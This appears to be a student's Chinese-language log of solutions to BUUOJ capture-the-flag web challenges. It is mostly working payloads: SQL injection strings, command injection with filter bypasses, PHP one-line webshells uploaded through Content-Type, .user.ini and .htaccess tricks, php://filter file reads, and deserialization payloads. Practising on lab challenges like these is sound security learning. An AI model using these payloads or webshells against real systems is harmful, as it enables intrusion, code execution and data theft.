BUUOJ做题记录
[TOC]
3.17-3.23
[极客大挑战 2019]EasySQL
考点:sql注入,一个登录面板,直接开注,最基本的联合查询语句,得到flag
123456'and 0 union select 1,2,3#
[极客大挑战 2019]Havefun
考点:简单的php代码审计
进入题目环境,F12进行信息收集
<?php
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
直接get请求发送数据/?cat=dog得到flag
[ACTF2020 新生赛]Include
考点:文件包含
进入环境,查看tips:Can you find out the flag? 应该是隐藏了。看到url上带参数/?file=想到php自带的协议,读取
php://filter/read=convert.base64-encode/resource=flag.php
得到base64字符,解码得到flag
[强网杯 2019]随便注
预编译注入
?inject=-1';use supersqli;set @sql=concat('s','elect `flag` from `1919810931114514`');PREPARE stmt1 FROM @sql;EXECUTE stmt1;#
handler注入
';handler `1919810931114514` open;handler `1919810931114514` read first#
修改表名,再次访问
/?inject=1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;%23
[SUCTF 2019]EasySQL
sql=“select”.post[‘query’]."||flag from Flag";
*,1
[ACTF2020 新生赛]Exec
尝试直接或执行命令
1|ls /
1|cat /flag
得到flag
[极客大挑战 2019]Secret File
先找到下方的第一个入口,直接框选可得。
然后打开burpsuite抓包,捕获到
<html>
<!--
secr3t.php
-->
</html>
打开文件secr3t.php
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
先使用?file=flag.php,提示:啊哈!你找到我了!可是你看不到我QAQ~~~
使用php://filter/read=convert.base64-encode/resource=flag.php读取文件,解码得flag
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{aab4c481-90e9-4d1f-a9f5-66a47ff4e125}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>
</html>
[GXYCTF2019]Ping Ping Ping
|tac$IFS$9`find$IFS$9/$IFS$9-inum$IFS$9128979034`
cat$IFS$9`find$IFS$9-inum$IFS$128979034`
?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
[极客大挑战 2019]LoveSQL
1' union select 1,2,table_name from information_schema.tables where table_schema=database()
' union select 1,column_name,1 from information_schema.columns#
表名geekuser l0ve1ysq1
列名id username password
' union select 1,2,group_concat(username) from geek.l0ve1ysq1
1' union select 1,2,group_concat(concat_ws(0x7e,username,password)) from geek.l0ve1ysq1
// 将1和2通过~(十六进制形式)连接
// 类似:username~password
group_concat(concat_ws(0x7e,1,2))
flag{4c4cb9b3-31f1-41c5-a224-45e74bf3f079}
[极客大挑战 2019]Knife
进入题目环境,得到白给的shell
eval($_POST["Syc"]);
使用中国蚁剑进行连接,打开虚拟终端,cat /flag得到flag
[极客大挑战 2019]Http
打开F12进行信息搜集,找到语句
<a style="border:none;cursor:default;" onclick="return false" href="Secret.php">氛围</a>
进入文件Secret.php,提示It doesn't come from 'https://Sycsecret.buuoj.cn',考点简单的伪造头文件
于是打开burpsuite抓包
GET /Secret.php HTTP/1.1Host: node4.buuoj.cn:28636Upgrade-Insecure-Requests: 1User-Agent:SycloverAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closereferer: https://Sycsecret.buuoj.cnX-Forwarded-For: 127.0.0.1
[极客大挑战 2019]Upload
文件上传,(我发现我传个图片文件它都认为不是图片qaq)
上传一个php文件试试,<?php @eval($_POST['pass'])
发现not image
然后改请求头:Content-Type改为image/jpeg文件头加上GIF89a,还是不行,过滤了<?php
使用javascript语句内含php的方法,
POST /upload_file.php HTTP/1.1
Host: 3652e454-9534-4d86-8d05-6e0a04edeb41.node4.buuoj.cn:81
Content-Length: 341
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://3652e454-9534-4d86-8d05-6e0a04edeb41.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqfL6Q15plaA2AiGz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://3652e454-9534-4d86-8d05-6e0a04edeb41.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundaryqfL6Q15plaA2AiGz
Content-Disposition: form-data; name="file"; filename="1.phtml"
Content-Type: image/jpeg
GIF89a
<script language='php'>eval($_POST['pass']);</script>
------WebKitFormBoundaryqfL6Q15plaA2AiGz
Content-Disposition: form-data; name="submit"
鎻愪氦
------WebKitFormBoundaryqfL6Q15plaA2AiGz--
猜测路径在upload目录下,然后使用中国蚁剑连接,在根目录下找到flag
[ACTF2020 新生赛]Upload
打开题目环境,发现中间的电灯泡可以上传文件,上传一个jpg格式文件抓包修改
POST / HTTP/1.1
Host: 9eb299a6-4a82-4e18-ba2a-a507c8b376f3.node4.buuoj.cn:81
Content-Length: 349
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://9eb299a6-4a82-4e18-ba2a-a507c8b376f3.node4.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ackejNpKAlVa6Oh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://9eb299a6-4a82-4e18-ba2a-a507c8b376f3.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
------WebKitFormBoundary8ackejNpKAlVa6Oh
Content-Disposition: form-data; name="upload_file"; filename="101.phtml"
Content-Type: image/png
GIF89a
<script language='php'>eval($_POST['pass']);</script>
------WebKitFormBoundary8ackejNpKAlVa6Oh
Content-Disposition: form-data; name="submit"
upload
------WebKitFormBoundary8ackejNpKAlVa6Oh--
上传成功,给出地址,直接使用中国蚁剑连接
打开虚拟终端,cat /flag得到flag
[RoarCTF 2019]Easy Calc
$('#calc').submit(function(){
$.ajax({
url:"calc.php?num="+encodeURIComponent($("#content").val()),
type:'GET',
success:function(data){
$("#result").html(`<div class="alert alert-success">
<strong>答案:</strong>${data}
</div>`);
},
error:function(){
alert("这啥?算不来!");
}
})
return false;
})
一顿操作无果,上网查询线索
这是别人对PHP字符串解析漏洞的理解,
我们知道PHP将查询字符串(在URL或正文中)转换为内部$_GET或的关联数组$_POST。例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。例如,/?%20news[id%00=42会转换为Array([news_id] => 42)。如果一个IDS/IPS或WAF中有一条规则是当news_id参数的值是一个非数字的值则拦截,那么我们就可以用以下语句绕过:
/news.php?%20news[id%00=42"+AND+1=0–
上述PHP语句的参数%20news[id%00的值将存储到$_GET[“news_id”]中。
HP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
1.删除空白符
2.将某些字符转换为下划线(包括空格)
因此,当我们输入%20num=a时,不会产生报错。
找到了绕过方法,接下来准备查询
使用scandir()列出 参数目录 中的文件和目录,由于/被过滤,使用chr(47)绕过
payload=?%20num=1;var_dump(scandir(chr(47)))
得到
1array(24) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(10) ".dockerenv" [3]=> string(3) "bin" [4]=> string(4) "boot" [5]=> string(3) "dev" [6]=> string(3) "etc" [7]=> string(5) "f1agg" [8]=> string(4) "home" [9]=> string(3) "lib" [10]=> string(5) "lib64" [11]=> string(5) "media" [12]=> string(3) "mnt" [13]=> string(3) "opt" [14]=> string(4) "proc" [15]=> string(4) "root" [16]=> string(3) "run" [17]=> string(4) "sbin" [18]=> string(3) "srv" [19]=> string(8) "start.sh" [20]=> string(3) "sys" [21]=> string(3) "tmp" [22]=> string(3) "usr" [23]=> string(3) "var" }
payload=?%20num=1;var_dump(scandir(chr(47)))
使用file_get_contents读文件内容
?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
[极客大挑战 2019]BabySQL
6'uniounionn sselectelect 3,1,group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema=database()##
表名 b4bsql,geekuser
6'uniounionn sselectelect 3,1,group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_schema=database()##
列名id,username,password,id,username,password
6'uniounionn sselectelect group_concat(passwoorrd) frfromom geek.b4bsql ##
flag{ee9d85b4-9810-4211-95bc-930f7b47926d}
[极客大挑战 2019]PHP
一顿操作无果,试过了~与.bak,无备份文件。
了解到需要使用dirsearch爆破,得出www.zip
下载后打开,找到关键文件
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
经典的php反序列化
<?php
$A = new Name('admin',100);
$b = serialize($A);
echo urlencode($b);
用urlencode是为了防止复制漏掉字符
payload:O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
绕过wake函数也是常见的姿势,改参数数,最终payload
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
select参数get方法传入得到flag
[ACTF2020 新生赛]BackupFile
做上一题的时候~和.bak文件都没用,所以做这题索性没试,直接拿dirsearch扫了一遍,发现就是index.php.bak (可恶~)
文件内容如下
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
众所周知 123="123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3"
所以直接key=123得到flag
[护网杯 2018]easy_tornado
之前做过,tornado模板注入,利用错误页面的msg={{handler.settings}}得到cookie_secret,然后对flag文件编码整合,直接访问便得到flag
cookie_secret: fc7afda9-8b83-49c0-89b6-4763b34431ea
flag in /fllllllllllllag
md5("fc7afda9-8b83-49c0-89b6-4763b34431ea"+md5("/fllllllllllllag"))
/fllllllllllllag
flag{bc647df9-7f91-4932-b6be-4393c9d83a8b}
至于为什么用handler.settings暂时不明,在官网找过源码,没找到handler.settings与cookie_secret的联系(可能我看的不够认真)
[极客大挑战 2019]BuyFlag
先F12进行信息搜集,发现php代码
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->
抓包修改为post请求
POST /pay.php HTTP/1.1
Host: 83be44b5-8c83-4e1b-9128-ac4cf86ff6dd.node4.buuoj.cn:81
Content-Length: 33
Cookie: user=1
Content-Type: application/x-www-form-urlencoded
password=404a &money[]=1000000000
password=404a来绕过is_numeric和双等号
Cookie: user=1来使服务器判断我们是成员
直接money=1000000000会触发输入数字太长,用数组绕过money[]=1000000000
得到flag
[BJDCTF2020]Easy MD5
题目比较难,卡在第一步没做出来
select * from 'admin' where password=md5($pass,true)
md5(string,true) true原始16字符2进制模式 false默认32字符16进制数
题解用ffifdyop绕过,因为MD5(ffifdyop)的字符形式是'or'6]!r,b能绕过上语句
接下来的题目就比较简单
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b))
想到两种方法,数组绕过和md5碰撞
?a[]=1&b[]=0
?a=QNKCDZO&b=240610708
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
这里依然可以使用数组绕过,burpsuite抓个包然后改一下post请求得到flag
param1[]=1¶m2[]=2
[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
php代码审计file_get_contents用php://input绕过
POST /?text=php://input HTTP/1.1
Host: 772fdd22-bbc8-48bd-a581-2fe838a02b5b.node4.buuoj.cn:81
Content-Length: 20
welcome to the zjctf
底下是一层文件包含,不能读flag,这里只能包含useless.php但是不会显示源码,所以要想想办法
这里想了一段时间,最后是看着file这个参数想到的,总觉得有点熟悉,以前做过的读文件的题目经常遇到这个参数
想到php://filter/read=convert.base64-encode/resource=useless.php
读出了文件,base64解码得
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
里面是一个反序列化,
$A= new Flag();$A->file="flag.php";$b = serialize($A);echo urlencode($b);
得到O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D
password参数传入,最终payload为
POST /?text=php://input&file=useless.php&password=O%3A4%3A%22Flag%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3B%7D HTTP/1.1
Host: 772fdd22-bbc8-48bd-a581-2fe838a02b5b.node4.buuoj.cn:81
Content-Length: 20
welcome to the zjctf
得到flag{f05adc24-8add-4fb8-881f-f06977afd9b8}
[SUCTF 2019]CheckIn
一道文件上传
一开始打算上传phtml文件,执行
<script language="php">eval($_POST['pass']);</script>
发现phtml被ban了,<?也被ban了,一时手足无措
随便传了几张图片,发现被保存在了同一目录下且目录下有一个index.php,而不是根据时间戳来更新目录。想点办法
看了这篇文章后有了思路
用简单的话说,.user.ini会使该目录下的每个php文件加载auto_prepend_file=后的文件
可以上传一个.user.ini,再上传一个图片马,包含起来进行getshell。不过前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。
.user.ini
GIF89a
auto_prepend_file=102.jpg
102.jpg
GIF89a
<script language="php">eval($_POST['pass']);</script>
然后使用中国蚁剑连接该目录下的index.php
启动虚拟终端cat /flag 得到flag
[极客大挑战 2019]HardSQL
被ban:union,空格,* and && || if = + substr > < ascii sleep handler
未ban:- or ,from extractvalue updatexml where
推测是使用报错注入
'or%20right(left(database(),1),1)#
1223'or(length(database()like(0)))#
'or(selEct(extractvalue(1,concat(0x7e,(selEct(database()))))))#
数据库名geek
'or(selEct(extractvalue(1,concat(0x7e,(selEct(@@version))))))#
版本号10.3.18-MariaDB
'or(selEct(extractvalue(1,concat(0x7e,(selEct(group_concat(table_name))from(information_schema.tables))))))#
'or(selEct(extractvalue(1,concat(0x7e,(selEct(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))))))#
表名H4rDsq1
'or(selEct(extractvalue(1,concat(0x7e,(selEct(group_concat(column_name))from(information_schema.columns)where(table_schema)like(database()))))))#
列名id,username,password
'or(selEct(extractvalue(1,concat(0x7e,(selEct(group_concat(password))from(H4rDsq1))))))#
flag{a4d49ae6-12f0-4aae-8315-01
'or(selEct(extractvalue(1,concat(0x7e,(selEct(group_concat(right(password,30)))from(H4rDsq1))))))#
6-12f0-4aae-8315-01a9831ae0cb}
将flag拼接
flag{a4d49ae6-12f0-4aae-8315-01a9831ae0cb}
[MRCTF2020]你传你### 呢
一道文件上传,试了传一些php文件,过大的jpg,phtml文件还有.user.ini等都不行
居然不让用php,那肯定是要通过什么方式已php的方式执行非php文件才对
搜到可以使用.htaccess文件把.jpg解析成.php
AddType application/x-httpd-php .jpg
传入.jpg文件,内容
<?php eval($_POST['pass']);?>
然后用中国蚁剑连接到该.jpg文件,成功连接
在根目录下找到flag
[MRCTF2020]Ez_bypass
简单的php代码审计
<?php
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}
做烂了的技巧,数组绕过md5三等,数字加字符绕过is_numeric()
POST /?id[]=0&gg[]=1 HTTP/1.1
Host: 41659bfd-2295-41f1-bc35-131726c56188.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
passwd=1234567a
发送该请求得到flag
[GXYCTF2019]BabySQli
这题脑洞也太大了)
先在search.php页面源代码找到一串编码,解码得到提示
select * from user where username = '$name'
测了很多注入和绕过,发现密码那关一直过不了,且被ban了很多关键字,只有'union select 1,2,3#可以用,主要是()被ban了,觉得不可能注的出来了,需要转换思路。
一直没想出来,查了wp,考点是
我们在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。
密码是md5加密的值(没有提示这脑洞太大了啊根本想不到
'union select 1,'admin',3#时会报wrong pass。所以username应该在第二个字段,推测password在第三个。
然后因为密码是md5加密的,我们利用联合查询,构造一个虚拟的数据。
'union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#
其中c4ca4238a0b923820dcc509a6f75849b是1的md5值,所以在password中输1即可登录admin
[网鼎杯 2020 青龙组]AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
先搞清楚流程,传入str参数,然后进入is_valid看str字符ascii是否在32到125之间。之后只会触发__destruct()函数op==="2"就换为"1"然后process(),在process()里如果op=="2"就read(),然后读出filename。容易注意到的点是这个==和===,这里让op=2就可以绕过了。
构造payload
O:11:"FileHandler":3:{s:5:".*.op";i:2;s:11:".*.filename";s:5:"/flag";s:10:".*.content";s:1:"%20";}
然后卡住了,因为cyberchef把%00解析成了.导致反序列化时这些参数都没初始化,然后又发现%00就意味着is_vaild()函数都过不了。
想了很久的办法,网上搜到可以使用一种简单的办法绕过:因为php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public就可以了
所以构造的payload为
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:5:"/flag";s:7:"content";s:1:"%20";}
这个时候还是读不出东西,要想个办法把flag从文件里读出来
看到熟悉的参数,立马想到
php://filter/read=convert.base64-encode/resource=flag.php
最终payload
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";s:1:" ";}
得到一串base64编码,解码得flag
<?php $flag='flag{26c87fc7-d09f-4f31-89e9-f3c87cf5805a}';